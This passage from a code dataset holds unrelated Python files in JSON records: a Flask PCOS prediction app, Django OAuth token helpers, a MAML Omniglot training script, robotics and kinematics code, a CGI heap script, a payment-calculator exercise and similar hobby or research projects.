+ str(i)].value = random.randint(1, 8);\r\n\r\nfor i in range(2, 2002):\r\n currVal = ws['B' + str(i)].value;\r\n ws['C' + str(i)].value = cf5Calculator[currVal - 1] + 1;\r\n cf5Calculator[currVal - 1] += 1;\r\n ws['D' + str(i)].value = cf10Calculator[currVal - 1] + 1;\r\n cf10Calculator[currVal - 1] += 1;\r\n if((i - 1) % 5 == 0):\r\n cf5Calculator = [0, 0, 0, 0, 0, 0, 0, 0];\r\n if((i - 1) % 10 == 0):\r\n cf10Calculator = [0, 0, 0, 0, 0, 0, 0, 0];\r\nwb.save('D:\\VIT Semesters\\Fall Semester 2020-21\\Projects\\Storage\\Storage Dataset.xlsx');\r\n\"\"\"\r\n\r\n\r\ncacheData = pd.read_excel(\"D:\\VIT Semesters\\Fall Semester 2020-21\\Projects\\Storage\\Storage Dataset.xlsx\");\r\nfillRegisterStatus(90, cacheData);\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"codev1.py","file_name":"codev1.py","file_ext":"py","file_size_in_byte":7594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"31745377","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 24 11:12:40 2021\r\n\r\n@author: bawej\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom flask import Flask, request, jsonify, render_template\r\nimport pickle\r\n\r\napp = Flask(__name__)\r\nmodel = pickle.load(open('model.pkl', 'rb'))\r\n\r\n@app.route('/')\r\ndef home():\r\n return render_template('index.html')\r\n\r\n######################################################################################################\r\n@app.route('/about') \r\ndef about(): #CHANGES MADE ONLY HERE\r\n return render_template('about.html')\r\n######################################################################################################\r\n\r\n@app.route(\"/practice\")\r\ndef practice():\r\n \"\"\" return the rendered template \"\"\"\r\n return render_template(\"practice.html\")\r\n\r\n#######################################################################################################\r\ndef check_user_input(input):\r\n try:\r\n # Convert it into integer\r\n val = int(input)\r\n \r\n except ValueError:\r\n try: #BLOCK CAN BE REMOVED\r\n # Convert it into float\r\n val = float(input)\r\n \r\n except ValueError:\r\n val=str(input)\r\n return val\r\n########################################################################################################\r\n@app.route('/predict',methods=['POST'])\r\ndef predict():\r\n '''\r\n For rendering results on HTML GUI\r\n '''\r\n l=[]\r\n \r\n for x in request.form.values() :\r\n z=x\r\n if isinstance(check_user_input(x),int)== True: #REMOVE CHECK_USER_INPUT()\r\n x=z\r\n elif isinstance(check_user_input(x),str)== True: #REMOVE CHECK_USER_INPUT()\r\n if x == 'yes':\r\n x=1\r\n elif x=='no':\r\n x=0\r\n elif x=='regular':\r\n x=2\r\n elif x == 'irregular':\r\n x=4\r\n##################################################################################################################\r\n else:\r\n return render_template('practice.html', prediction_text='Kindly enter valid input ')\r\n else: #BLOCK CAN BE REMOVED\r\n return render_template('practice.html', prediction_text='Kindly enter valid input ')\r\n################################################################################################################### \r\n l.append(int(x)) \r\n \r\n \r\n final_features = [np.array(l)]\r\n prediction = model.predict(final_features)\r\n\r\n output = round(prediction[0], 2)\r\n if output == 1:\r\n output ='Yes'\r\n \r\n elif output == 0:\r\n output ='No'\r\n\r\n return render_template('practice.html', prediction_text='Do I have PCOS ? {}'.format(output))\r\n\r\n@app.route('/predict_api',methods=['POST'])\r\ndef predict_api():\r\n '''\r\n For direct API calls trought request\r\n '''\r\n data = request.get_json(force=True)\r\n prediction = model.predict([np.array(list(data.values()))])\r\n\r\n output = prediction[0]\r\n return jsonify(output)\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)","sub_path":"asis/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"518412644","text":"import functools\nimport logging\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render\nfrom django.conf import settings\n\nimport requests\n\nlogger = logging.getLogger(__name__)\n\n\ndef api_token_required(f):\n @functools.wraps(f)\n @login_required\n def requirer(request, *args, **kwargs):\n if not request.user.profile.access_token:\n return render(request, \"client/access_token_needed.html\")\n return f(request, *args, **kwargs)\n return requirer\n\ndef catch_expired_token_and_retry(f):\n \"\"\"Tokens expire rather quickly, but we generally have a refresh token\n to get new ones as necessary.\n\n Try to get a new token and retry a invalid-token-failed call once.\n\n \"\"\"\n\n @functools.wraps(f)\n def wrapper(request, *args, **kwargs):\n resp = f(request, *args, **kwargs)\n\n resp_json = resp.json()\n\n if \"error\" in resp_json and resp_json[\"error\"][\"error_code\"] == 3:\n # expired/invalid token, try to get a new one with our refresh token\n logger.info(\"Invalid access token, trying to get a new one\")\n\n results = requests.post(\n settings.LBTC_URL + \"/oauth2/access_token/\",\n data={\"grant_type\": \"refresh_token\",\n \"client_id\": settings.LBTC_CLIENT_ID,\n \"client_secret\": settings.LBTC_CLIENT_SECRET,\n \"refresh_token\": request.user.profile.access_token_refresh_token,})\n\n if results.status_code != 200:\n # just return the original error\n return resp\n\n request.user.profile.set_access_token(**results.json())\n request.user.profile.save()\n\n return f(request, *args, **kwargs)\n\n return resp\n\n return wrapper\n\n@catch_expired_token_and_retry\ndef api_get(request, path, params=None):\n headers = {\"Authorization\": \"Bearer \" + request.user.profile.access_token}\n\n if not params: params = {}\n params.update(access_token=request.user.profile.access_token)\n\n return requests.get(settings.LBTC_URL + path, params=params, headers=headers)\n\n@catch_expired_token_and_retry\ndef api_post(request, path, data=None):\n headers = {\"Authorization\": \"Bearer \" + request.user.profile.access_token}\n\n if not data: data = {}\n data.update(access_token=request.user.profile.access_token)\n\n return requests.post(settings.LBTC_URL + path, data=data, headers=headers)\n","sub_path":"lbtcex/client/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"155781600","text":"#!/usr/bin/env python3\n\nimport random\n\nimport numpy as np\nimport torch as th\nfrom PIL.Image import LANCZOS\n\nfrom torch import nn\nfrom torch import optim\nfrom torchvision import transforms\n\nimport learn2learn as l2l\n\n\ndef accuracy(predictions, targets):\n predictions = predictions.argmax(dim=1).view(targets.shape)\n return (predictions == targets).sum().float() / targets.size(0)\n\n\ndef fast_adapt(adaptation_data, evaluation_data, learner, loss, adaptation_steps, device):\n for step in range(adaptation_steps):\n data = [d for d in adaptation_data]\n X = th.cat([d[0] for d in data], dim=0).to(device)\n y = th.cat([th.tensor(d[1]).view(-1) for d in data], dim=0).to(device)\n train_error = loss(learner(X), y)\n train_error /= len(adaptation_data)\n learner.adapt(train_error)\n data = [d for d in evaluation_data]\n X = th.cat([d[0] for d in data], dim=0).to(device)\n y = th.cat([th.tensor(d[1]).view(-1) for d in data], dim=0).to(device)\n predictions = learner(X)\n valid_error = loss(predictions, y)\n valid_error /= len(evaluation_data)\n valid_accuracy = accuracy(predictions, y)\n return valid_error, valid_accuracy\n\n\ndef main(\n ways=5,\n shots=1,\n meta_lr=0.003,\n fast_lr=0.5,\n meta_batch_size=32,\n adaptation_steps=1,\n num_iterations=60000,\n cuda=True,\n seed=42,\n):\n random.seed(seed)\n np.random.seed(seed)\n th.manual_seed(seed)\n device = th.device('cpu')\n if cuda:\n th.cuda.manual_seed(seed)\n device = th.device('cuda')\n\n omniglot = l2l.vision.datasets.FullOmniglot(root='./data',\n transform=transforms.Compose([\n l2l.vision.transforms.RandomDiscreteRotation(\n [0.0, 90.0, 180.0, 270.0]),\n transforms.Resize(28, interpolation=LANCZOS),\n transforms.ToTensor(),\n lambda x: 1.0 - x,\n ]),\n download=True)\n omniglot = l2l.data.MetaDataset(omniglot)\n classes = list(range(1623))\n random.shuffle(classes)\n train_generator = l2l.data.TaskGenerator(dataset=omniglot,\n ways=ways,\n classes=classes[:1100],\n tasks=20000)\n valid_generator = l2l.data.TaskGenerator(dataset=omniglot,\n ways=ways,\n classes=classes[1100:1200],\n tasks=1024)\n test_generator = l2l.data.TaskGenerator(dataset=omniglot,\n ways=ways,\n classes=classes[1200:],\n tasks=1024)\n\n # Create model\n model = l2l.vision.models.OmniglotFC(28 ** 2, ways)\n model.to(device)\n maml = l2l.algorithms.MAML(model, lr=fast_lr, first_order=False)\n opt = optim.Adam(maml.parameters(), meta_lr)\n loss = nn.CrossEntropyLoss(size_average=True, reduction='mean')\n\n for iteration in range(num_iterations):\n opt.zero_grad()\n meta_train_error = 0.0\n meta_train_accuracy = 0.0\n meta_valid_error = 0.0\n meta_valid_accuracy = 0.0\n meta_test_error = 0.0\n meta_test_accuracy = 0.0\n for task in range(meta_batch_size):\n # Compute meta-training loss\n learner = maml.clone()\n adaptation_data = train_generator.sample(shots=shots)\n evaluation_data = train_generator.sample(shots=shots,\n task=adaptation_data.sampled_task)\n evaluation_error, evaluation_accuracy = fast_adapt(adaptation_data,\n evaluation_data,\n learner,\n loss,\n adaptation_steps,\n device)\n evaluation_error.backward()\n meta_train_error += evaluation_error.item()\n meta_train_accuracy += evaluation_accuracy.item()\n\n # Compute meta-validation loss\n learner = maml.clone()\n adaptation_data = valid_generator.sample(shots=shots)\n evaluation_data = valid_generator.sample(shots=shots,\n task=adaptation_data.sampled_task)\n evaluation_error, evaluation_accuracy = fast_adapt(adaptation_data,\n evaluation_data,\n learner,\n loss,\n adaptation_steps,\n device)\n meta_valid_error += evaluation_error.item()\n meta_valid_accuracy += evaluation_accuracy.item()\n\n # Compute meta-testing loss\n learner = maml.clone()\n adaptation_data = test_generator.sample(shots=shots)\n evaluation_data = test_generator.sample(shots=shots,\n task=adaptation_data.sampled_task)\n evaluation_error, evaluation_accuracy = fast_adapt(adaptation_data,\n evaluation_data,\n learner,\n loss,\n adaptation_steps,\n device)\n meta_test_error += evaluation_error.item()\n meta_test_accuracy += evaluation_accuracy.item()\n\n # Print some metrics\n print('\\n')\n print('Iteration', iteration)\n print('Meta Train Error', meta_train_error / meta_batch_size)\n print('Meta Train Accuracy', meta_train_accuracy / meta_batch_size)\n print('Meta Valid Error', meta_valid_error / meta_batch_size)\n print('Meta Valid Accuracy', meta_valid_accuracy / meta_batch_size)\n print('Meta Test Error', meta_test_error / meta_batch_size)\n print('Meta Test Accuracy', meta_test_accuracy / meta_batch_size)\n\n # Average the accumulated gradients and optimize\n for p in maml.parameters():\n p.grad.data.mul_(1.0 / meta_batch_size)\n opt.step()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/vision/maml_omniglot.py","file_name":"maml_omniglot.py","file_ext":"py","file_size_in_byte":7064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"190080650","text":"import pybullet as p\nimport pyrosim.pyrosim as pyrosim\nfrom sensor import SENSOR\nimport math\nimport constants as c\nimport time as t\nfrom motor import MOTOR\nfrom pyrosim.neuralNetwork import NEURAL_NETWORK\n\nclass ROBOT:\n def __init__(self):\n self.robot = p.loadURDF(\"body.urdf\")\n pyrosim.Prepare_To_Simulate(\"body.urdf\")\n self.nn = NEURAL_NETWORK(\"brain.nndf\")\n self.motors = {}\n ROBOT.Prepare_To_Sense(self)\n ROBOT.Prepare_To_Act(self)\n def Prepare_To_Sense(self):\n self.sensors = {}\n for linkName in pyrosim.linkNamesToIndices:\n self.sensors[linkName] = SENSOR(linkName)\n def Sense(self, t):\n for i in self.sensors.values():\n i.Get_Value(t)\n def Prepare_To_Act(self):\n self.motors = {}\n for jointName in pyrosim.jointNamesToIndices:\n self.motors[jointName] = MOTOR(jointName)\n def Act(self, desiredAngle):\n for neuronName in self.nn.Get_Neuron_Names():\n if self.nn.Is_Motor_Neuron(neuronName):\n jointName = self.nn.Get_Motor_Neurons_Joint(neuronName)\n desiredAngle = self.nn.Get_Value_Of(neuronName)\n self.motors[jointName].Set_Value(desiredAngle, self.robot)\n\n\n def Think(self):\n self.nn.Update()\n self.nn.Print()\n","sub_path":"robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"20454333","text":"\"\"\"\nConstants used widely in the project.\n\"\"\"\n\n# Permission for using services\nPERM_NONE = 0 # No permission\nPERM_ACCESS = 1 # Can access\nPERM_READ = 2 # Can read\nPERM_COMMENT = 3 # Can comment\nPERM_WRITE = 4 # Can write\nPERM_EDIT = 5 # Can edit\nPERM_DELETE = 6 # Can delete\n","sub_path":"apps/manager/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"406359352","text":"#!/usr/local/bin/python3.5\n# I honor Parkland's core values by affirming that I have\n# followed all academic integrity guidelines for this work.\n# Bryna Zhao\n\nimport heapq\n\ndef process(input):\n if input != None:\n lines = input.split('\\r\\n')\n q = []\n for line in lines:\n if line != '': \n print(\"
    \")\n print(\"You entered: \" +line)\n print(\"
    \")\n print(\"Print: \")\n if line == \"DUMP\":\n # a heap is not sorted\n q.sort()\n for item in q:\n print(item)\n elif line == \"FIRST\":\n if len(q) == 0:\n raise IndexError(\"Empty queue!\")\n break \n print(q[0])\n elif line == \"REMOVE\":\n if len(q) == 0:\n raise IndexError(\"Empty queue!\")\n break\n next = heapq.heappop(q)\n print(next)\n else:\n if len(line) == 0:\n continue\n # can't use split(' '), since stirng might contain spaces \n spacepos = line.find(' ')\n before = line[:spacepos]\n if before != \"INSERT\":\n print(before)\n raise ValueError(\"Invalid input!\")\n break\n insert = line[spacepos+1:]\n commapos = insert.find(',')\n value = insert[:commapos]\n string = insert[commapos+1:]\n #print(\"value is \" + value)\n #print(\"string is \" + string)\n value = int(value)\n heapq.heappush(q,(value,string))\n\nimport cgi, cgitb\ncgitb.enable()\n\n#print the http response header\nprint(\"Content-Type: text/html\\n\");\n\nformInfo = cgi.FieldStorage()\nuserInput = formInfo.getvalue(\"program\")\nprocess(userInput)\n","sub_path":"lab/lab6/heap.py","file_name":"heap.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"541099278","text":"\"\"\"Utility functions.\"\"\"\n\nfrom contextlib import contextmanager\nimport errno\nimport logging\nimport os\nimport shutil\nimport tempfile\nimport textwrap\n\n\ndef setup_logging(name, log_file, level=logging.INFO):\n formatter = logging.Formatter(\n fmt='%(asctime)s %(levelname)s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n handler = logging.FileHandler(log_file)\n handler.setFormatter(formatter)\n logger = logging.getLogger(name)\n logger.setLevel(level)\n logger.addHandler(handler)\n return logger\n\n\n@contextmanager\ndef cd(path):\n old = os.getcwd()\n os.chdir(os.path.expanduser(path))\n try:\n yield\n finally:\n os.chdir(old)\n\n\ndef expand_path(path, cwd=None):\n def expand(p):\n return os.path.realpath(os.path.expanduser(p))\n\n if cwd:\n with cd(cwd):\n return expand(path)\n else:\n return expand(path)\n\n\ndef expand_paths(paths, cwd=None):\n return [expand_path(x, cwd) for x in paths]\n\n\ndef split_version(version):\n return tuple([int(v) for v in version.split('.')])\n\n\ndef makedirs(path):\n \"\"\"Create a nested directory; don't fail if any of it already exists.\"\"\"\n try:\n os.makedirs(path)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n\n\nclass Tempdir(object):\n \"\"\"Context handler for creating temporary directories.\"\"\"\n\n def __enter__(self):\n self.setup()\n return self\n\n def setup(self):\n self.path = tempfile.mkdtemp()\n\n def create_directory(self, filename):\n \"\"\"Create a subdirectory in the temporary directory.\"\"\"\n path = os.path.join(self.path, filename)\n makedirs(path)\n return path\n\n def create_file(self, filename, indented_data=None):\n \"\"\"Create a file in the temporary directory.\n\n Dedents the contents.\n \"\"\"\n filedir, filename = os.path.split(filename)\n if filedir:\n self.create_directory(filedir)\n path = os.path.join(self.path, filedir, filename)\n data = indented_data\n if isinstance(data, bytes) and not isinstance(data, str):\n # This is binary data rather than text.\n mode = 'wb'\n else:\n mode = 'w'\n if data:\n data = textwrap.dedent(data)\n with open(path, mode) as fi:\n if data:\n fi.write(data)\n return path\n\n def delete_file(self, filename):\n os.unlink(os.path.join(self.path, filename))\n\n def teardown(self):\n shutil.rmtree(path=self.path)\n\n def __exit__(self, error_type, value, tb):\n self.teardown()\n return False # reraise any exceptions\n\n def __getitem__(self, filename):\n \"\"\"Get the full path for an entry in this directory.\"\"\"\n return os.path.join(self.path, filename)\n\n\ndef strip_suffix(string, suffix):\n \"\"\"Remove a suffix from a string if it exists.\"\"\"\n if string.endswith(suffix):\n return string[:-(len(suffix))]\n return string\n","sub_path":"importlab/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"396481719","text":"\"\"\"\n@brief test log(time=4s)\n@author Xavier Dupre\n\"\"\"\n\nimport sys\nimport os\nimport unittest\nfrom docutils.parsers.rst import directives\n\nfrom pyquickhelper.loghelper.flog import fLOG\nfrom pyquickhelper.sphinxext import BlogPostList, BlogPostDirective\n\n\nclass TestBlogList(unittest.TestCase):\n\n def test_blog_list(self):\n fLOG(\n __file__,\n self._testMethodName,\n OutputPrint=__name__ == \"__main__\")\n\n directives.register_directive(\"blogpost\", BlogPostDirective)\n\n path = os.path.abspath(os.path.split(__file__)[0])\n blog = os.path.normpath(os.path.join(\n path, \"..\", \"..\", \"_doc\", \"sphinxdoc\", \"source\", \"blog\"))\n if not os.path.exists(blog):\n raise FileNotFoundError(blog)\n BlogPostList(blog, fLOG=fLOG)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"_unittests/ut_sphinxext/test_blog_list.py","file_name":"test_blog_list.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"528940496","text":"# 44. Elabore um programa que calcule o valor a ser pago por um produto,\r\n# considerando o seu preço normal e condição de pagamento:\r\n# > À vista dinheiro/cheque: 10% de desconto\r\n# > À vista no cartão: 5% de desconto\r\n# > Em até 2x no cartão: preço normal\r\n# > 3x ou mais no cartão: 20% de juros\r\n\r\nprint('{:=^40}'.format(' LOJAS RAFAEL '))\r\npreço = float(input('Preço das compras: R$'))\r\nprint('''FORMAS DE PAGAMENTO\r\n[ 1 ] à vista dinheiro/cheque\r\n[ 2 ] à vista cartão\r\n[ 3 ] 2x no cartão\r\n[ 4 ] 3x ou mais no cartão''')\r\nopção = int(input('Qual é a opção? '))\r\nif opção == 1:\r\n # Decrementa 10% do valor do pedido\r\n total = preço - (preço * 10 / 100)\r\nelif opção == 2:\r\n # No cartão subtrai 5% do valor\r\n total = preço - (preço * 5 / 100)\r\nelif opção == 3:\r\n # Atribuo o preço a minha var total para trabalhar com ela\r\n total = preço\r\n # Em 2 vezes, divido meu total por 2\r\n parcela = total / 2\r\n print(f'Sua compra será parcelada em 2x de R${parcela:.2f}')\r\nelif opção == 4:\r\n # Atribuo 20% sobre o valor total do produto\r\n total = preço + (preço * 20 / 100)\r\n # Pergunta ao user em quantas parcelas serão feitas\r\n total_parcelas = int(input('Quantas parcelas? '))\r\n # Divide o total em quantas parcelas o usuário escolher\r\n parcela = total / total_parcelas\r\n print(f'Sua compra será parcelada em {total_parcelas}x de R${parcela:.2f}'\r\n f'COM JUROS')\r\nelse:\r\n total = preço\r\n print('OPÇÃO INVÁLIDA de pagamento. Tente novamente!')\r\n# Poderíamos ter atribuído na opção 3 o total / 2 direto na var total, mas como\r\n# críamos essa mensagem genérica para todas as condições, realizamos assim.\r\nprint(f'Sua compra de R${preço:.2f} vai custar R${total:.2f} no final.')\r\n","sub_path":"Mundo 02: Estruturas de Controle/14. Exercícios: Condições II (Aninhadas)/44. Gerenciador de pagamentos.py","file_name":"44. Gerenciador de pagamentos.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"484829478","text":"import os\nimport multiprocessing as mp\nfrom pathlib import Path\nfrom face3d.face_model import FaceModel\nfrom face3d.utils import check_frontal_face, isgray\nimport tqdm\nimport cv2\nimport scipy.io as sio\nimport glob\nimport numpy as np\nimport shutil\n\nif __name__=='__main__':\n shutil.rmtree('AFLW2000_rotated_3ddfa', ignore_errors=True)\n os.makedirs('AFLW2000_rotated_3ddfa', exist_ok=True)\n\n model = FaceModel(bfm_path='examples/Data/BFM/Out/BFM.mat')\n img_list = list(Path('AFLW2000').glob('**/*.jpg'))\n bag = []\n print(f'Push item to bag: ')\n for img_path in tqdm.tqdm(img_list):\n pts_path = str(img_path).replace('jpg', 'mat')\n bag.append((str(img_path), pts_path))\n\n def task(item):\n img_path, pts_path = item\n img = cv2.imread(img_path)\n\n if isgray(img):\n return\n\n pts = sio.loadmat(pts_path)['pt3d_68'][:2].T\n if not check_frontal_face(pts):\n return\n \n img, params = model.generate_rotated_3d_img(img, pts)\n\n img_out_path = img_path.replace('AFLW2000','AFLW2000_rotated_3ddfa')\n params_out_path = img_path.replace('AFLW2000','AFLW2000_rotated_3ddfa').replace('jpg', 'npy')\n\n cv2.imshow('', img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n # cv2.imwrite(img_out_path, img)\n # np.save(params_out_path, params)\n\n\n # with mp.Pool(mp.cpu_count()) as p:\n # r = list(tqdm.tqdm(p.imap(task, bag), total=len(bag)))\n\n for item in bag:\n print(item)\n task(item)\n","sub_path":"fit_rotate_AFLW2000.py","file_name":"fit_rotate_AFLW2000.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"528767029","text":"from typing import Any\n\nfrom pydantic import BaseModel\n\nfrom finbot.core import schema as core_schema\nfrom finbot.providers.base import ProviderBase\nfrom finbot.providers.schema import (\n Account,\n Asset,\n Assets,\n AssetsEntry,\n BalanceEntry,\n Balances,\n)\n\n\nclass Credentials(BaseModel):\n pass\n\n\nDUMMY_BALANCE: float = 1000.0\nDUMMY_ACCOUNT = Account(\n id=\"dummy\", name=\"Dummy account\", iso_currency=\"GBP\", type=\"cash\"\n)\n\n\nclass Api(ProviderBase):\n def __init__(self, **kwargs: Any) -> None:\n super().__init__(**kwargs)\n\n @staticmethod\n def description() -> str:\n return \"Dummy provider (UK)\"\n\n @staticmethod\n def create(\n authentication_payload: core_schema.CredentialsPayloadType, **kwargs: Any\n ) -> \"Api\":\n return Api(**kwargs)\n\n def initialize(self) -> None:\n pass\n\n def get_balances(self) -> Balances:\n return Balances(\n accounts=[BalanceEntry(account=DUMMY_ACCOUNT, balance=DUMMY_BALANCE)]\n )\n\n def get_assets(self) -> Assets:\n return Assets(\n accounts=[\n AssetsEntry(\n account=DUMMY_ACCOUNT,\n assets=[Asset(name=\"Cash\", type=\"currency\", value=DUMMY_BALANCE)],\n )\n ]\n )\n","sub_path":"finbot/providers/dummy_uk.py","file_name":"dummy_uk.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"76427153","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('rpg', '0006_auto_20150410_1430'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gamefield',\n name='visible',\n field=models.BooleanField(default=1, verbose_name='\\u0412\\u0438\\u0434\\u0438\\u043c\\u0430 \\u0432\\u0441\\u0435\\u043c'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='role',\n name='name',\n field=models.CharField(max_length=255, verbose_name='\\u0418\\u043c\\u044f \\u043f\\u0435\\u0440\\u0441\\u043e\\u043d\\u0430\\u0436\\u0430'),\n preserve_default=True,\n ),\n ]\n","sub_path":"src/rpg/migrations/0007_auto_20150415_0017.py","file_name":"0007_auto_20150415_0017.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"347347839","text":"#!/usr/bin/env python\nimport rospy\nimport numpy as np\nimport math\nimport tf2_ros\n\nimport geometry_msgs.msg\nimport std_msgs.msg\nimport kinova_msgs.msg # JointAngles, KinovaPose\nimport tf_conversions\n\nclass ForwardKinematics(object):\n def __init__(self):\n self.node_name = rospy.get_name()\n rospy.loginfo(\"[%s] Initializing \" %(self.node_name))\n \n self.pose_msg = geometry_msgs.msg.PoseStamped()\n\n # Setup Parameters\n self.D1 = self.setupParam(\"~D1\", 0.2755) # Distance Base to Shoulder\n self.D2 = self.setupParam(\"~D2\", 0.4100) # Upper arm Length (shoulder to elbow)\n self.D3 = self.setupParam(\"~D3\", 0.2073) # Forearm Length (Elbow to wrist)\n self.D4 = self.setupParam(\"~D4\", 0.0741) # First wrist length (center of actuator 4 to center of actuator 5)\n self.D5 = self.setupParam(\"~D5\", 0.0741) # Second wrist length (center of actuator 5 to center of actuator 6)\n self.D6 = self.setupParam(\"~D6\", 0.1600) # Wrist to center of the hand\n self.e2 = self.setupParam(\"~e2\", 0.0098) # Joint 3-4 lateral offset\n\n self.aa = math.radians(30)\n self.sa = math.sin(self.aa)\n \n self.s2a = math.sin(2*self.aa) # Sine of angle of curvature of wrist segment\n self.d4b = self.D3 + (self.sa/self.s2a)*self.D4 # Length of straight-line segment from elbow to end of first sub-segment of first wrist segment.\n self.d5b = (self.sa/self.s2a)*(self.D4+self.D5) # Length of straight-line segment consisting of second sub-segment of first wrist segment and first sub-segment of second wrist segment\n self.d6b = (self.sa/self.s2a)*self.D5 + self.D6 # Length of straight-line segment consisting of second sub-segment of second wrist segment and distance from wrist to the center of the hand\n\n # Publications\n self.pub_tool_pose = rospy.Publisher(\"~DH_tool_pose\", geometry_msgs.msg.PoseStamped, queue_size=1)\n \n \n # Subscriptions\n self.sub_joint_positions_ = rospy.Subscriber(\"j2n6s300_driver/out/joint_angles\", kinova_msgs.msg.JointAngles, self.calculateForwardKinematics, queue_size=1)\n \n\n def setupParam(self,param_name,default_value):\n value = rospy.get_param(param_name,default_value)\n rospy.set_param(param_name,value) #Write to parameter server for transparancy\n rospy.loginfo(\"[%s] %s = %s \" %(self.node_name,param_name,value))\n return value\n\n def calculateForwardKinematics(self, joint_angles_msg):\n self.joint_angles = joint_angles_msg\n self.q1 = self.joint_angles.joint1 \n self.q2 = self.joint_angles.joint2\n self.q3 = self.joint_angles.joint3\n self.q4 = self.joint_angles.joint4\n self.q5 = self.joint_angles.joint5\n self.q6 = self.joint_angles.joint6\n\n # print (self.q1,self.q2,self.q3,self.q4,self.q5,self.q6)\n \n self.calculateToolPose()\n \n \n \n\n def calculateToolPose(self):\n self.T01 = self.DH2T(-90, 0, self.D1, -(self.q1-180))\n self.T12 = self.DH2T(180, self.D2, 0, self.q2-270)\n self.T23 = self.DH2T(-90, 0, -self.e2, self.q3-90)\n self.T34 = self.DH2T( 60, 0, -self.d4b, self.q4-180)\n self.T45 = self.DH2T( 60, 0, -self.d5b, self.q5-180)\n self.T56 = self.DH2T(180, 0, -self.d6b, self.q6+90)\n \n self.T02 = self.T01.dot(self.T12)\n self.T03 = self.T02.dot(self.T23)\n self.T04 = self.T03.dot(self.T34)\n self.T05 = self.T04.dot(self.T45)\n self.T06 = self.T05.dot(self.T56)\n \n #print(self.d4b)\n #print (self.T04)\n \n # Rotation matrix and Position Vector of end effector\n self.R06 = self.T06[:3,:3] #3x3\n self.P06 = self.T06[:3,3] #1x3\n \n # Convert Rotation matrix to quaternion\n w = 0.5 * math.sqrt(1.0 + np.matrix.trace(self.R06))\n x = (self.R06[2,1]-self.R06[1,2])/(4*w)\n y = (self.R06[0,2]-self.R06[2,0])/(4*w)\n z = (self.R06[1,0]-self.R06[0,1])/(4*w)\n \n self.quat = [x,y,z,w]\n \n self.pose_msg.header = std_msgs.msg.Header(frame_id='j2n6s300_link_base')\n self.pose_msg.pose.position = geometry_msgs.msg.Point( x=self.P06[0], y=self.P06[1], z=self.P06[2])\n self.pose_msg.pose.orientation = geometry_msgs.msg.Quaternion( x=self.quat[0], y=self.quat[1], z=self.quat[2], w=self.quat[3])\n \n self.pub_tool_pose.publish(self.pose_msg)\n \n \"\"\"\n # Euler XYZ\n self.euler_xyz = tf_conversions.transformations.euler_from_quaternion(self.quat)\n \n # Publish Pose message\n self.pose_msg.X = self.P06[0]\n self.pose_msg.Y = self.P06[1]\n self.pose_msg.Z = self.P06[2]\n self.pose_msg.ThetaX = self.euler_xyz[0]\n self.pose_msg.ThetaY = self.euler_xyz[1]\n self.pose_msg.ThetaZ = self.euler_xyz[2]\n \n self.pub_tool_pose.publish(self.pose_msg) \n \"\"\"\n \n\n def DH2T(self, A, a, d, Q):\n A = math.radians(A)\n Q = math.radians(Q)\n \n T = np.zeros((4,4))\n T[0,:] = [math.cos(Q), -math.cos(A)*math.sin(Q), math.sin(A)*math.sin(Q), a*math.cos(Q)]\n T[1,:] = [math.sin(Q), math.cos(A)*math.cos(Q), -math.sin(A)*math.cos(Q), a*math.sin(Q)]\n T[2,:] = [0, math.sin(A), math.cos(A), d ]\n T[3,:] = [0, 0, 0, 1 ]\n \n return T\n \n \n\nif __name__ == \"__main__\":\n rospy.init_node(\"Arm_DH_Forward_Kin\",anonymous=False)\n Arm_DH_Forward_Kin = ForwardKinematics()\n rospy.spin()\n","sub_path":"kinova-kinematics/src/Arm_DH_Forward_Kin.py","file_name":"Arm_DH_Forward_Kin.py","file_ext":"py","file_size_in_byte":5694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"226949887","text":"from django.shortcuts import render\n\n# Create your views here.\n\nfrom django.conf import settings\nfrom 